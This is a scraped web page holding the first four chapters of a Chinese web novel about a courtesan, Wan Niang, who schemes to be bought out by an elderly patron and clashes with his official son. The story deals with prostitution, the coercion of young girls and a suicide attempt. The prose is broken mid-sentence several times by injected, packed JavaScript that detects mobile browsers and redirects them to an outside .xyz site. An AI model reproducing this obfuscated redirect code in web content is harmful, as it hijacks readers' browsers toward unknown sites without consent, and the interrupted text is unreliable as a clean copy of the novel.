《赎身后被迫守寡了》 1. 萧声咽（一） 在青楼的时候，恩客们常说晚娘是天上降下来的、专索他们这些人性命的狐狸鬼。 晚娘生了一副好皮囊，窈窕妩媚，眼尾上挑，举着杯盏的时候哪怕不看你，你也绕不开她织出的那张似有似无的网。 她十二岁就入青楼，如今已是第七个年头了。 她躺在男人怀里，有人刮蹭她玲珑鼻尖问她：“你这张嘴皮子，想是从生下来就伶俐。” 晚娘笑一笑，从他怀里直起身，懒懒散散理了理衣衫，瞥他一眼：“可见你说的是浑话。谁能打娘胎里就满身风尘？命运多舛，半点不由人呐。” 四周笑作一团。 似乎一个在风月场如鱼得水的女人谈起不幸，本身就是件可笑的事。 恩客姓沈，人称沈员外，今年正正好五十七。花白胡子一大把，风流倒是不减当年。 晚娘笑嘻嘻扯了把他的胡子，问：“你家里那个母老虎管着你，你还有胆子出来寻我？” 沈员外皱眉，一把攥住晚娘手腕，越想越气：“你说她是母老虎，果真没错！人老珠黄不说，还满腹牢骚惹人心烦。我好吃好喝对她，她还有什么不知足？要不是看在她给我生了两个儿子份上，我早休了她！” 晚娘面上笑着，心里翻了好大一个白眼。 休了她？只怕你这老不死的没这个胆子。沈员外早年间是靠着媳妇娘家发迹，晚娘心里门清。 怕是这话不敢在老婆面前说，才憋了一肚子在她面前装腔。 晚娘当然不挑明。 她是个聪明人，眼珠微微一转就想出百种趁机捞好处的法子。 胳膊搭上沈员外脖子，又晃一晃，道：“你欺负不得你老婆，就来欺负我。你一早答应了给我赎身，怎么到现在也没个说法？你舍得我熬死在这里么？” 沈员外悻悻嘿一声，只喝酒不说话。 晚娘盯他一阵，一把夺过他手中酒杯，不顾这老东西诧异眼神，一点一点把酒洒了出去。 沈员外愣了又愣，待到要发怒，却见晚娘眼眶微微红起来。还不等沈员外说话，晚娘早背过身哭起来。 袖子掩面，哭声呜呜咽咽，活像一只小猫儿抓着沈员外五脏六腑。 沈员外无法，拉不下脸也狠不下心，只好放软了嗓子去哄她：“没说不给你赎身，我的心肝，你着什么急？这不是家里那个夜叉太厉害，我怕她害你。” 他伸出手去拉晚娘衣袖，晚娘一瞪眼把袖子抽出来，哭是不再哭，语气也凌厉许多：“那你就看着我在这里受苦受罪？你又不愿意我去奉承别人，我靠着你一个人，受那鸨母多少白眼！你再不救我，我只能投江去了。” 话到尾声，也不再厉害，复而哽咽。 沈员外心疼得一颤一颤，又觉得晚娘所言非虚。青楼女子么，本就是靠着恩客们赏钱过日子，晚娘自跟了他，旁的客人自然少上许多。 老鸨都是见钱眼开的东西，见此情形，又怎么能不薄待三分？他也不愿晚娘去接旁人生意，越思越想，便越犹豫。加上晚娘缠绵的啜泣，沈员外心一横，拉住晚娘手臂。 “你且放宽了心……我的心肝，你放一百个心！我这就回去让下人收拾院子，改日就带了银子来给你赎身，咱们长长久久守在一块！” 晚娘抬眼，我见犹怜。她似乎思索片刻，柔声问：“你所言当真？” “自然当真！” 如此，便得红颜一笑：“我等着你，你可要说话算数。” “说话算数！” 送走了沈员外，晚娘靠在门框上，伸了个懒腰。 她盯着沈员外离去背影，心中冷笑一声——长相厮守？也不照照镜子，仔细瞧瞧你那张老脸！半截入土的人了，谁要和你长相厮守？ 如此想着，见一粗布衣衫妇人从梯子上来。妇人姓王，专管翠香楼这些姐儿的饭食。她给晚娘送饭上来，刚好瞧见沈员外走。再一仔细看，晚娘手里沉甸甸泛着精光的，不是银子是什么？ 王媪笑道：“哟，姐儿今日这么早便开张了？这些银子你尽管收着，我不告诉妈妈。” 晚娘冷哼一声：“她从我身上赚钱还少吗？这点银子怕是都看不上了。” “那可不见得，谁会嫌钱少？” 晚娘垂下眸子，一只手搭在另一只手胳膊上，不说话。 翠香楼的老鸨是个精明人，这些年也凭着晚娘捞了不少钱。晚娘给她赚钱，自然也不会低三下四。方才说什么老鸨薄待自己的话，都是胡扯——纵然跟了沈员外，她该赚的银子可一分都没少赚过。 “也就沈员外傻，信了你的那些话，真以为你在这楼里过得艰难呢。”王媪叹息一声，将饭菜摆在桌上，悠悠道。 晚娘哼笑一声，抬眼道：“怎么，你倒是为姓沈的打抱不平起来了？” 王媪摆摆手：“我为他不平什么？逛窑子的男人又有几个好东西？只是我不明白你——你好生在这楼里坐着，多少男人愿意花千金买你一笑，做什么非要赎身？出去给旁人做妾，又有什么好？” 晚娘在桌边坐下，拔了头上一根沈员外为她簪上的钗子：“千金买我一笑，那也要我肯笑。再说了，这笑又能卖几时？是，给人做妾不比在楼里做姐儿强上几分，但只有出去，才有机会不是？” 王媪不明不白瞥她一眼，似有些嘲讽意味。 晚娘知道那嘲讽从何而来。王媪虽说是翠香楼里伺候的人，但不像她们卖笑卖身，自然自视清高几分，对她们这些姐儿不大瞧得上。 晚娘毫不在意。 在意也无用。老天造人出来就是这么个事，她既然被爹娘卖到窑子里，后半生就都要靠自己一点一点来挣。 若好么，挣得一副身家，在不知谁的后宅里终老。若是不好，楼里年老色衰招人烦厌的女人就是她的下场。 汤勺在碗里转了个转，晚娘放下勺子：“行了，你先出去吧。” 王媪也不多说什么，出去带上了门。 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268945|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宅在城东一条巷子里，沈员外回家，猫着身子蹑手蹑脚，却还是被夫人抓个正着。 沈员外索性挺直腰杆，在屋里太师椅上坐下。接过丫鬟递上来的茶杯，咽了口唾沫，把想接晚娘入府的心思兜来绕去告诉沈夫人。 沈夫人白氏今年四十二，还没听完沈员外的话，便不阴不阳哼了一声，打断沈员外：“哟，老爷这是有了四房姨娘还不够，偏要个青楼里的脏女人入门？你莫怪我多言，沈家好歹也是京师大户，做出这等事情来，丢不丢祖宗脸面？” 沈员外听得恼怒，茶盏往旁重重一搁：“你说的什么话！常人道夫唱妇随，你却只知道给我添堵！” “是我给老爷添堵，还是老爷心里半分不把我这个正头夫人放眼里？”沈夫人语气尖锐起来。 她十七岁嫁进沈家门，给沈员外生了二子一女。若没有她娘家助力，也没有如今沈家。 可偏沈员外是个见新忘旧的！这些年一房接着一房纳姨娘不说，如今还要抬一个青楼的女人回来！ 沈夫人越想越气，攥着帕子骂：“都说男人喜新厌旧是常事，可你也要有个度！我告诉你，你若胆敢纳那女人入门，我便敢叫人毒死她！” 沈员外一下站起身，浑身发抖，指尖颤颤指着沈夫人，却又骂不出什么难听的话。 ——实则还是不敢，如今沈夫人娘家白家子弟出色，沈家还得与白家修好。 沈夫人有恃无恐，将沈员外看了个上上下下，直叫他一张老脸没处放。 “哼，我话放在这儿。老爷若是还舍不去我娘家助力，便少拿这些糟心事来污我的眼。” 她自以为这话出来，沈员外会有所顾忌，语气颇为得意。 却没想到，最后的遮羞布一扯下，沈员外彻底恼羞成怒：“我呸！你以为你仗着你娘家，就敢压到我头上来？这是沈家！不是你白家，容不得你一个妇人当家做主！你说不许，我偏要纳！——来人！” 立刻有小厮闻声上来。 “去，把西院收拾几间屋子出来，隔日六姨娘就要过门！” “你！”沈夫人气得不行，眼看沈员外转身打帘要出去，忙追上去骂：“有胆子你就把那个小贱人带回来！我告诉你沈如海，我做得出来！” 做得出来什么？ ……沈夫人站了半晌，脱力般跌坐在榻边。 她又真的能提刀杀人不成？ 沈夫人发着愣，下人们也不敢随意近身，一个二个屏气凝神，屋内静可闻针。 “娘怎么了？谁给您这么大气受。”廊上一阵珠串碰撞清脆声，脚步由远及近。这声音淡淡，帘子微微一动，一个年轻男子便走进屋内。 沈夫人一惊，回头看清来人——是她的长子沈容远。 昏黄灯光下，沈容远半张脸笼在暗中，仍能看出轮廓俊朗。他俯下身为母亲点了蜡烛，不紧不慢问： “方才见父亲出去，似有不悦。——父亲又是为了什么事惹您不痛快？” 2. 萧声咽（二） 沈夫人见是儿子来，心中委屈忍不住，一下子哭开了。 她拉住沈容远衣袖，手背压在唇边，边哭边道：“你父亲那个没良心的！我为这个家操持上下，纵使没有功劳也有苦劳吧。他倒好，当着他的老爷，一房又一房女人往家里娶。眼下还要一个青楼的女人压在我头上，是什么道理！” 沈容远听母亲这么说，也猜出个七七八八。 他父亲好色，这是不争的事实。作为一个男人，沈容远不愿意去管那些腌臜事，可看母亲哭得伤心，眉心微皱，也觉得父亲实在有些过分了。 一个青楼的女人。 沈家有四房姨娘，虽说其中两个出身不好，但也不至于是个风尘女子。 想必他父亲，这一次又是被迷了心窍了。 他坐下，淡声安抚母亲：“娘放心，沈家绝不许那样的女人进门。” 沈夫人止住哭声，一怔，又看儿子一眼。她看沈容远神色，见他笃定模样，好歹安心许多。 虽说沈老爷也不一定听儿子的话，但如今沈容远有本事，沈老爷也有点怵这个儿子。 有他开口，至少那老头子不能就这么顺顺利利娶个不清不白的人。 沈夫人这样想着，便破涕为笑。她拍拍沈容远手背，“娘就知道，你这个儿子没白养！哼，管他喜欢哪个女人，那些女人能给他生出来你这么能干的儿子？就凭这一点，姓沈的休想小瞧了我去！” 沈容远静静听着母亲絮叨，也不说什么。 他不太喜欢听这些话，但他也知道母亲在这宅子里操劳多年，不容易。上了年纪爱抱怨也是常有的事。 听了就算了。 “儿会劝着父亲，少往那种地方去。”沈容远顿了顿，“他年纪也大了，身体吃不消。” 沈夫人一噎，悻悻不说话。 沈容远见无话可再说，嘱咐沈夫人早些安睡，便起身掀帘子出去。出了沈夫人房门，沈容远叫住一个在沈老爷身边伺候的小厮。 “你跟在老爷身边，可知道他近日在哪个窑子，和哪个女人相好？” 沈容远之所以问这一句话，便是预防着他父亲铁了心要纳妾。若是那样，不如他先把这女人处置了。 小厮想了想，闷声道：“……就河边那个翠香楼。听说是个叫晚娘的，我远远瞧上几眼，模样生得实在好，不怪老爷……” 沈容远冷冷瞥他一眼，小厮自觉说错了话，连忙闭了嘴。 晚娘。 模样不错。 沈容远忽然闷声一笑。 他自己是不大喜欢和女人纠缠的，无论长什么模样，一般都引不了他注意。这也不怪他，沈老爷早就不管家里的事，千般重担压在他肩上，早就分身乏术。 再加上家里女人太多，整日争斗不休叽叽喳喳，沈容远二十多岁还没娶妻，实在是因为有些厌烦这种日子。 他并不很能理解沈老爷的喜新厌旧，他只是觉得这个父亲太荒唐。 “近日老爷去翠香楼，你跟着。他和那个女人说什么，你打探了告诉我。”沈容远说完，沿着廊下走。 “是。” …… “是，姑娘。”翠香楼里，王媪站在一边伺候晚娘用早膳，她那双半老昏黄的眼珠子不停地在晚娘身上打转，说出的话虽恭敬，却让晚娘很是不舒服。 “我吃饭，你这么瞧着我做什么？” 晚娘将调羹摔在汤碗里，倒是让王媪惊了一惊。 王媪连忙收起那副势利的神情：“姑娘多心了，我无非是想着，妈妈把新进楼的那几个丫头交到姑娘手底下教导，是不是有不妥？毕竟姑娘人年轻……” 晚娘不紧不慢地用调羹摆弄着碗里的元宵，皮笑肉不笑地说：“妈妈把她们交给我，自然有一番道理。再者说，我虽然年纪不大，在这楼里待的时日还少吗？” 王媪哑然片刻，陪着笑道：“是是，我多嘴了。” “既然知道多嘴，那便少些话吧。”晚娘也不客气，她顿了顿，又问：“那几个丫头被关了一整日，可有松口服软的？” “没有呢。”王媪说着，也是叹息，“这些丫头片子，年纪小小倒是骨头硬。其中有一个不过十三岁，今早我去送饭的时候，眼睛瞪得溜圆，像是要从我身上剜下肉来似的！要我说啊，人各有命，有什么不好认命的呢？……” 她刚才才说了自己多嘴，此时却又絮絮叨叨个不停。晚娘也懒得说她，她吃饱了，放下碗筷，淡淡吩咐一声：“既然不识好歹，那便不必送饭了。什么时候肯低头，什么时候再吃饭吧。” 王媪有些诧异地看她一眼，心想晚娘也不过是个年轻女子，当年被卖到翠香楼也非自愿，怎么此刻收拾起这些丫头来是这样心狠手辣？ 她是个心中藏不住事的人，想什么就说什么：“都是些小孩子，姑娘何必同她们置气呢？要是饿坏了，妈妈又该有话说了……” “我同她们置气？”听到笑话一般，晚娘懒懒掀起眼皮子，“都进这个地方来了，还清高个什么劲儿？此时若不把她们收拾服帖，日后可有的苦头吃。难道我现在好言好语哄着她们，她们日后就不吃苦了？” 那时候是哪时候，晚娘不必点明，王媪也知道。 她闷闷笑了声：“还是姑娘明白事理，我们自是不及的。” 晚娘没去理她话中那点阴阳怪气，起身坐到镜子前，慢条斯理梳起妆来。 楼梯被踩得噔噔响，王媪回头，见老鸨子穿得大红大紫上来。老鸨子满面笑，身后跟着两个丫鬟，丫鬟手里又分别捧着个首饰匣子。 晚娘扭头看老鸨子一眼，觉得莫名其妙，视线转回镜中自己，问道：“妈妈这又是要干什么？穿得这般喜庆，是有什么好事？” “可不是好事嘛！”老鸨子示意两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268946|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个丫鬟在门口等，自己搬了根凳子坐在晚娘身侧，用瞧摇钱树般的眼神将晚娘上上下下打量了个遍，笑道：“……从你进这楼里来，我就知道你是个有出息的！这不，今儿赵家公子来楼里，说后日设宴，点名要你作陪！——你可知赵公子他爹是谁？那是咱们京师户部的侍郎大人！晚娘啊，你若是被赵公子看中，还愁没富贵？” 晚娘听得蹙起眉。 她簪子也不往头发间插了，扭头盯着老鸨，“妈妈这就应下了？” “应下了！这样的好事，我怎能不应？又不是傻子！” 晚娘张唇，想说什么，忍了又忍没出口。她将手中簪子轻放在桌上，只道了句：“怎不与我商量？妈妈也知道，一早姓沈的答应了给我赎身。若是被他晓得我去陪客，岂不是要反悔？” 老鸨子看傻子的眼神看她，打了她手背一巴掌，“哎哟，好姑娘，你莫不是昏了头？那可是赵公子！十个沈员外也不及的！你放着这样的缘分不要，偏要去贴那个老头子么？” 既然事情已经定下，晚娘也不好再说什么。她重新拾起那根簪子，默不作声在发髻上比划位置，轻轻插进去。 流苏贴在额上簌簌摇动，她最终只道了句：“下次，这样的事，妈妈记得和我说一声。” 她是退了一步，老鸨子反倒不乐意起来。她满心以为这是给晚娘一步登天的机会，见她不领情，觉得做了吕洞宾。 要是换做别的姑娘，老鸨子已经骂起来。可晚娘现在实在是她的摇钱树，也只得冷冷讽一句：“晓得了，姑娘是红人，侍郎府的公子想见，也不大请得动了。行了，你们几个进来把东西给姑娘放下，咱们这就走，不碍姑娘的眼。” 晚娘皱眉，想说什么，老鸨已转身走了。 “什么东西……还真摆起小姐架子来了……”老鸨子声音渐行渐远。 有那么一刹那，晚娘想追出去插着腰骂这蹬鼻子上脸的鸨母！她不是东西？那开窑子的就是东西了！什么户部的赵公子？难道只要是青楼里的女人，一见了权钱就得立马脸皮不要？ 她深深吸气，压下去两三分怒火。 偏不巧，这时候王媪进来，满面愁色。她是个直心肠，从来不懂看脸色，张口便是：“姑娘！不好了！那屋里有个小丫头闹自尽，好几个人都拉不住！” 啪！—— 晚娘砸了盏，强硬道：“要找死就由她找去！……说到底，早死了，不也早痛快干净吗？” 王媪目瞪口呆，她看着晚娘半侧过去的脸，这才看清。不知什么时候，晚娘早已红了眼眶。 那只是一瞬。晚娘很快平复心绪，冷冷盯着王媪半晌，一言不发捉裙出门去。 王媪跟上，“姑娘去哪儿？” “你不是说那丫头闹自尽？我难道真的不去看看？” “哦。哎姑娘，是这边！……” …… 3. 箫声咽（三） 自沈容远上次与父亲交谈后，沈老爷这几日竟真的没再往翠香楼跑。沈夫人的脸色好看不少，唯有沈容远知道，他父亲不会就这么善罢甘休。 这不，没过多久，沈容远便听到风声，他父亲不知在哪个巷子里置了座宅子，打算把那个叫晚娘的女人接进去。 这在沈容远意料之中。他父亲一向如此德性。 一时半会儿，他也没空再去搭理此事。吏部的调令下来得很快，今年考核，沈容远擢升为吏部郎中。 消息一出，前来道贺的人不少，户部侍郎的公子赵若晖就算一个。 “怀安兄！我一得了消息，便赶来向你道贺！真是恭喜啊，你年轻有为，眼看着就是前途无量，不像我们……” 书房里，沈容远和赵若晖对坐。沈容远正拧着眉心看一卷书，闻声抬头，脸上不见多少喜色，只笑了笑，对赵若晖道：“今日怎又这样丧气？莫不是又受了你父亲训斥？” “你也知道，他一贯看不上我。如若有的选，怕是巴不得你来当他儿子。”赵若晖瘪瘪嘴，手中转着一扳指，伤感道。 “如若我有的选，也是宁愿要你父亲这样的长辈。”沈容远揉揉太阳穴，索性放下书卷，对赵若晖开口：“你父亲对你严苛，也是盼着你能有所成。多谅解些。” …… 赵若晖眯起眼，仔仔细细打量了沈容远一阵，忽然啧一声。 “你说你这人，永远都是这样无趣。年纪轻轻，说教起来的古板模样，恐怕连内阁里胡子花白的阁老都比不上。” “是么？”沈容远不往心里去。 赵若晖叹一口气，语气中带着些疲惫：“行了！你升官这等喜事怎能不贺？我早几日就在京中一家酒楼订好了席面，只等你来赴宴。” 沈容远想也不想便拒绝：“我近来公务繁忙，家事亦是千头万绪，实在无心饮酒作乐。” 赵若晖不知道他近日为了父亲的情债烦忧，只当他是拿借口出来堵自己的话，有些不满道：“家事？你家有你母亲管着，什么事要劳动你亲自出面？” 他素来是个爱热闹的性子，又真心为好友高兴，哪里肯放过这个机会？ 他凑近些，压低声音笑道：“别推辞了。我可告诉你，今晚这场宴，我为你备了一份礼。” 见沈容远不为所动，赵若晖索性耍起无赖，上手去拽他胳膊：“你我兄弟一场，这点面子都不肯给？你今日若是不去，我便叫他们把酒宴摆到你家里来！” 沈容远被他缠得没法子。看着赵若晖那张写满“你不答应我就不罢休”的脸，终是放下茶盏，无奈轻叹。 罢了，不过是吃一顿饭。 “……何时走？” 赵若晖一听，眉开眼笑：“就今晚！戌时，我派马车来接你！” 未到戌时，京师棋盘街上早已是华灯初上。小贩推车吆喝，四周酒色渐起，随着便热闹起来。 马车在楼前停下。 车帘掀开，胭脂水粉味道混着酒气暖风扑面而来，其中伴随女子娇笑。沈容远下意识皱了皱眉头，有些刺鼻。 抬眼望去，楼前门楣牌匾上三个大字——翠香楼。 他的动作倏然一顿。 翠香楼。赵若晖为他道喜的宴席，竟摆在了这个地方。沈容远短促冷笑一声。他父亲平日里喜欢踏足之地，今日他也算是来上一回了。 也罢，将宴席安在此处，也算是符合赵若晖平日里行事风格。今日既是他做东，那沈容远也不好说什么。 只是他心头不知怎的，忽然又想起那日家中小厮说的话。他父亲近日相好的女人就在翠香楼，是个名叫晚娘的。 …… 楼阁喧嚣靡丽，门前不时有姑娘出来引客，来来往往的男人脸上都带着心照不宣的笑。想来他父亲每来此处，也是这副色欲熏心的丑态。 沈容远有些讥诮地想，他父亲可不是个长情的人。那晚娘闹着要进门，殊不知一进沈家的门，她此生都算是付在十八层地狱里了。 也罢，他管不着。 “沈大人。” 沈容远闷想间，一个赵家奴仆迎上前来，“我家公子已在楼上等候多时，还请沈大人先上楼去吧。” 沈容远回神，点了点头，进门抬步踏上阶梯。楼内丝竹声声，靡靡之音绕梁。几个姐儿放荡肆意笑着从楼上跑下来，其中一个不当心，狠狠撞上沈容远。 沈容远蹙眉。 “做什么！走路不长眼么？”赵家奴仆见状，忙呵斥道。 那姐儿脸上一瞬慌乱，但打量沈容远如此仪表，又不慌乱了，娇里娇气笑一声，手中帕子搭上沈容远肩膀，“奴不是故意的……不若奴陪公子喝两盏，给公子赔罪？” 沈容远推开她的手，“不必了。” 姐儿着了急，还想说什么，却听见二楼头一个雅间门开，里头传出一声，“怀安人呢？怎么还没到？” …… “抱歉。”沈容远不再看那姐儿，在数道视线注视下，款步走上去。 —— 半个时辰前，晚娘便随着赵若晖在包厢中坐下了。 包厢内有歌女弹琵琶，琵琶珠玉声却盖不住外头喧嚣。晚娘今日盛装打扮了，时下最新样式的衣衫更衬托她容颜。眼波流转妩媚间，又带着点恰到好处的俏皮。 她斜眼一瞧，赵若晖半倚着软垫，时不时往包厢外头看，显然有些焦急。晚娘轻笑一声，笑意如春风拂柳：“赵公子何必如此着急？能让你这般心焦等待的，怕不是寻常人物吧。” 赵若晖闻言，只哈哈一笑：“那是自然。我与你说，今晚来的可是个一等一的人物。吏部郎中沈容远，你可听闻过？” …… 晚娘脸上笑意凝滞了。 过了半晌，她才有些缓缓地问了一遍：“公子说，来的人是谁？” “我估摸着么，你也是不知道的。他近日可是风光无限，一会儿来了，你可要奉承些。” 他语带调侃，房间里其他来凑热闹的宾客也纷纷笑起来。唯独晚娘笑不出来。 她不知道沈容远是谁？她当然知道！ 沈员外在她面前，不止一次提起过这个名字。每当提起，脸上都是骄傲神情，仿若生出这么个儿子来实在是顶天了不起的事。 今日……赵若晖要宴请的，竟然是他？ 晚娘当即心道不好。 她撺掇着沈员外让她进门，想必此事沈府上下已经都知晓了。今日沈容远是翠香楼的座上宾， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268947|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是当众发起难来，可不好收场。 …… 心下飞快转动思索间，包厢门已然再度被推开。 脚步声清晰，伴着一声吆喝：“沈大人到了！” 屋内安静了须臾，晚娘一颗心提到嗓子眼。片刻后，只见一个男人迈步进来。晚娘大胆抬眼去看，只那一瞬间，便觉得这是个与赵若晖不同的男人。 他一袭青衫，眉目间无意沾染楼中浮华，唇角挂着抹若有似无的笑意。 “怀安！”赵若晖起身，快步迎上前去，拍了拍沈容远肩膀，“可算把你盼来了！今日人来得齐，你非要好好喝两杯不可！” 沈容远随意拢了拢袖口，应道：“既然是你的盛情，我自然是不会扫兴的。” 说完，他又环视屋内一圈，视线从垂眼的晚娘身上扫过，并未停留。 晚娘刚松一口气，估摸着只要自己不说，沈容远应该认不出她。可偏偏这时，赵若晖这个瘟神纨绔来了兴致，一把抓住晚娘的手，非要将她引荐给沈容远。 “怀安，你可识得她？” 沈容远目光落到晚娘身上，似乎真正思索了片刻：“不识。这是？” “我同你讲，她可是此楼的第一红姑娘，我今日专门叫来助兴的。晚娘，快见过沈大人！” “……” 晚娘心里把赵若晖祖宗十八代都骂了个遍。可她今日注定是躲不过去了，只能硬着头皮，顶着沈容远灼灼目光福身行礼：“奴见过沈大人。” 沈容远就那么看着她，听完了她略带心虚的一句话，半晌不动。 晚娘有些尴尬。 赵若晖浑然不觉气氛不对，哈哈大笑，拍了沈容远一掌：“怎么样？可称得上国色天香？……诶，你莫不是看傻了吧！” 沈容远瞳孔深邃，凝视着晚娘。他忽地勾起唇角：“真是万没想到，会与你见面。” 晚娘一个字说不出，眼睛盯着地板，默默不言。为妓七年，她还是头一次在客人面前这么窘迫。……若是换了旁人，晚娘也不至于这样。可这沈公子实在……实在令她有些看不透。 赵若晖这才觉得有些不对劲，拉着沈容远问了句：“你们认识？” “不。我和她不认识。”沈容远半笑道。他顿了顿，视线未曾从晚娘身上移开，缓缓道： “只不过，久闻盛名了。” …… 晚娘咬着唇，不知该作何感想。她勾引老子，如今被儿子抓了正着，真是哭笑不得。 她想，自己今夜该如何自处？是一味忍下沈容远的羞辱，还是找个借口离席？偏巧，赵若晖是个迟钝的，一点儿看不懂眼色，还在喋喋不休：“怀安……你就知足吧。能有晚娘这样美貌的女子相陪，实乃人间乐事。你做什么要吓人家？” “也就如此吧。”沈容远移开眼，平淡道。 晚娘一下子有些忍不了了。虽说此事是她不占理，可若不是沈老爷花心，怎能叫她有机可乘？ 她为何要如此狼狈？ 晚娘一向是不亏待自己的，这个关节想通，当即大胆抬起头，直视沈容远，媚态一笑：“沈大人那句久闻盛名，还真是把我心里话说出来了。我同样仰慕沈大人已久。今日一见，倍感亲切呢。” 4. 箫声咽（四） 晚娘脸上挂笑，纤细腰肢微微扭动，腰间铃铛清脆作响。她自顾自走到桌边，提起一精巧银酒壶，斟满一杯。随后莲步轻移，走到沈容远面前，抬手将身上香气同酒气一并递到他鼻尖。 “大人既然能赏脸来翠香楼，便是我们楼中上下的福气。”她举着杯盏，抬眼直望进他眸底里，“这一杯，我敬您。” 她姿态极殷勤，若不深究真假，倒是叫人受用。 这番举动行云流水，丝毫没有窘迫畏惧。周遭众人也看不清其中暗流涌动，只叹这当红的姑娘不愧当红，举手投足都是风情别样。 纵使在讨好男人，也不一般。 沈容远垂眸。 他看着她递来的那一杯酒。女子的手指白皙修长，蔻丹艳红托着青瓷酒杯，倒是赏心悦目。 沈容远将那杯酒接过来，却并不着急喝下，也不想领这份情。 “你果真好本事。”他声音不大，刚好人人能听清。 “能叫我父亲神魂颠倒，又能引得赵公子这般倾心，专叫你来受满堂瞩目。这京城里，也算得上独一无二了。” 话音方落，周遭戏谑打诨的视线纷纷凝滞，众人面面相觑，这才后知后觉出不对劲来。 赵若晖的脸也僵了一僵。 他看向沈容远，又看向晚娘，待到回过神来，恨不得扇自己一巴掌。 他本是想叫晚娘来助兴，可谁能想到晚娘和沈容远他爹不清不楚？ 他嚅嗫着，半晌没说出话。晚娘脸上神情却丝毫未变。 谁听不出来，沈容远是在说她水性杨花？真是可笑。 青楼女子，若不水性杨花，难不成还要为了谁守身如玉？活活等着饿死？ 若她十二岁时听见沈容远这话，或许还会有些难受。可现在听来，只觉得眼前实在是个站着说话不腰疼的官老爷。 她的恭顺恰到好处，轻声应答：“我能在楼中讨口饭吃，全凭诸位抬爱，算不得有什么本事。” 这话是她说惯了的。她已经习惯，在面对客人刁难时摆出这样一副姿态。 沈容远眼眸微睐，将杯中酒一饮而尽。 “好口舌。” 见气氛越来越僵，赵若晖那半天转不过来弯的脑子终于醒神，打着哈哈上前：“哎呀，都站着做什么！怀安你也是，非要和她过不去？” 他给晚娘使了个眼色，示意她莫要再说话。 晚娘顺势在席间坐下，垂下眼帘，端的是顺从模样。 可她心里却要骂，骂沈老爷不是个好东西，生个儿子出来也是王八蛋！什么神仙人物？要到她面前来装不可一世？ 哼，若有现世报，等他沦落到这种地方来讨生活，她倒要看他还有多清高？ 赵若晖斜睨沈容远，见他不继续发难，松了口气。 他忽然想起今日叫沈容远来，是为沈容远准备了一份“大礼”。方才一打岔，险些忘了。 “快，把那姑娘叫上来！”他朝着门外喊。 话音刚落，门被推开。龟公笑容谄媚，亲自引着一个姑娘进来。那姑娘瞧着不过十四五岁的年纪，身量未足，虽尽力笑着，仍有些惊惶不安。 她走起路来微微发颤，步子也缓。龟公看了，低声催促道：“快向大人们见礼。” 沈容远捏着酒杯，没朝她看一眼。赵若晖朝着沈容远努努嘴，姑娘会意，走到沈容远面前拜倒：“奴名青荷，还望大人……多多怜惜。” 席间男人见了这般青涩模样，眼中几乎放出光来，说出的话也轻佻狎昵。 “哟，果真是个美人坯子。” “还是个雏儿吧。赵公子有心了！” “沈大人可还满意？……哈哈哈哈，沈兄，你今夜好福气啊！” …… 从这姑娘进来，晚娘只看了她一瞬，便眼皮都未曾再抬一下。 她听着那些男人发出来的、又传入她耳中的不堪调笑。她虽然没看，也能感觉那叫青荷的女孩儿抖得愈发厉害。 晚娘唇角勾起。 又一个。 人说十八层地狱可怖，这地方又哪里逊色了？想当年，她不也是如此被送到一个男人面前，一步步变得一无所有？ 心中厌恶愈烈。酒色权气，男人们自以为是的逗弄，都令人作呕。 她脸上的冷笑转瞬即逝，几乎无人察觉。 除了沈容远。 他清晰捕捉到了晚娘脸上神情的细微变化，先是眯了眯眼，随即心中升起些玩味。 说实在的，他对眼前的姑娘一点兴趣也没有。可看着晚娘如此反应，他忽然很想知道——此时她心里，是不是已经鄙夷不屑地骂过了在座所有男人。 “怀安，如何？”赵若晖许久没见他做出反应，凑过来道：“这份礼，你可还满意？” 沈容远抬眼，看着他一笑：“不。” “……啊？” 沈容远不想理他。赵若晖明知道他一向不喜狎妓，偏偏要自作这样的聪明。 他对着瑟瑟发抖的青荷淡声开口：“下去吧。” 青荷一愣，以为沈容远没看上她，慌忙想开口。沈容远打断她：“我今日没兴致，先下去吧。” 青荷红了眼眶，匆匆一礼，逃也似的出去了。 赵若晖愣在原地：“怀安，你这是做什么？” 沈容远虽回答赵若晖，视线却越过他，落在垂眸不语的晚娘身上：“若晖，你这份礼，我不喜欢。” 赵若晖茫然不解。沈容远停顿片刻，忽而轻笑一声。听见他这声笑，晚娘好似察觉到什么，抬头，心头随之一紧。 她看见，沈容远朝她扬了扬下巴，笑问：“叫她来陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 